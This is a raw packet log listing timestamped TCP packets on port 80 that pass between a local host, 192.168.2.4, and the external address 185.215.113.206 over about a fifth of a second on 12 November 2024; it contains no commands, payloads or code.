Nov 12, 2024 02:13:28.827974081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.828128099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.828128099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.828646898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.828670025 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.828684092 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.828754902 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.828779936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.828794003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.828804970 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.828821898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.828821898 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.828838110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.828845024 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.828850985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.828871965 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.828897953 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.868411064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.868422031 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.868452072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.868464947 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.868477106 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.868489027 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.868586063 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.868586063 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.868586063 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900213003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900230885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900247097 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900259018 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900270939 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900284052 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900300980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900314093 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900330067 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900386095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900386095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900386095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900386095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900386095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900386095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900402069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900415897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900427103 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900438070 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900449038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900449038 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900460958 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900473118 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900490046 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900511980 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900516987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900527954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900547028 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900549889 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900559902 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900563002 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900583029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900585890 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900598049 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900612116 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900614023 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900621891 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900639057 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900650024 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900650024 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900662899 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900674105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900681973 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900685072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900705099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900705099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900721073 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900732040 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900736094 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900742054 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900758028 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900763988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900774956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900779009 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900787115 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900793076 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900800943 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900810003 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900810957 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900821924 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900835037 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900852919 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900860071 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900865078 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900886059 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900892019 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900902033 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900908947 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900913954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900926113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900928974 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900933981 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900943041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.900948048 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900966883 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.900978088 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901035070 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901046038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901057959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901070118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901078939 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901086092 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901103973 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901108980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901124954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901125908 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901135921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901145935 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901158094 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901160002 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901174068 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901179075 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901189089 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901200056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901209116 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901236057 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901237965 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901253939 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901266098 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901273012 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901277065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901282072 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901290894 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901304007 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901314020 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901316881 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901329041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901340961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901351929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901359081 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901362896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901375055 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901376963 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901401997 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901408911 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901426077 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901448965 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901473045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901484013 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901494980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901515007 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901542902 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901567936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901580095 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901591063 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901602030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901612043 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901614904 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901624918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901638031 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901659012 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901695967 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901714087 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901727915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901731014 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901761055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901768923 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901794910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901817083 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901829004 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901832104 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901842117 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901849985 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901854038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901870966 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901882887 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901892900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901896000 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901911020 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901917934 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901922941 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901947021 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901966095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.901973963 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901987076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.901997089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902014971 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902025938 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902029991 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902038097 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902046919 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902065039 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902089119 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902092934 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902102947 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902120113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902123928 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902132988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902143955 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902147055 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902154922 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902158976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902168989 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902190924 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902209044 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902226925 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902242899 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902252913 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902261972 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902278900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902306080 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902324915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902338028 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902348995 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902358055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902360916 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902374029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902374029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902385950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902385950 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902403116 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902420044 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902456045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902467966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902479887 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902493954 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902523041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902530909 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902542114 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902555943 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902565956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902569056 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902586937 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902616978 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902618885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902631044 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902667999 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902693033 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902705908 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902726889 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902728081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902743101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902753115 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902754068 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902765989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902767897 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902790070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902812004 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902813911 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902826071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902843952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902856112 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902862072 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902868986 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902882099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902913094 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902915955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902929068 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902939081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902951956 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902972937 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902981997 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.902987957 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.902998924 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.903017998 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.903033972 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.943658113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.943706036 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.943718910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.943866014 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.944431067 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.944479942 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.944499016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.944513083 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.944536924 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.944550037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.944556952 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.944566011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.944578886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.944592953 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.944602013 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.944624901 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.944633007 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.944641113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.944657087 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.944684982 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.983957052 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.983998060 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.984011889 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.984031916 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.984036922 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.984045982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.984059095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.984066010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.984086037 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.984112978 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.015738010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.015889883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.015911102 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.015925884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.015935898 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.015937090 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.015949965 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.015961885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.015966892 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.015974998 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.015988111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.015999079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016014099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016021967 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016036034 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016041994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016057968 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016067028 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016069889 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016074896 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016091108 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016093016 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016099930 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016114950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016127110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016134024 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016139984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016154051 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016163111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016170979 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016181946 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016181946 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016195059 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016216040 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016217947 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016226053 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016238928 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016249895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016252995 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016261101 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016275883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016292095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016299009 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016314030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016324043 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016325951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.016335011 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.016346931 CET	80	49755	185.215.113.206	192.168.2.4
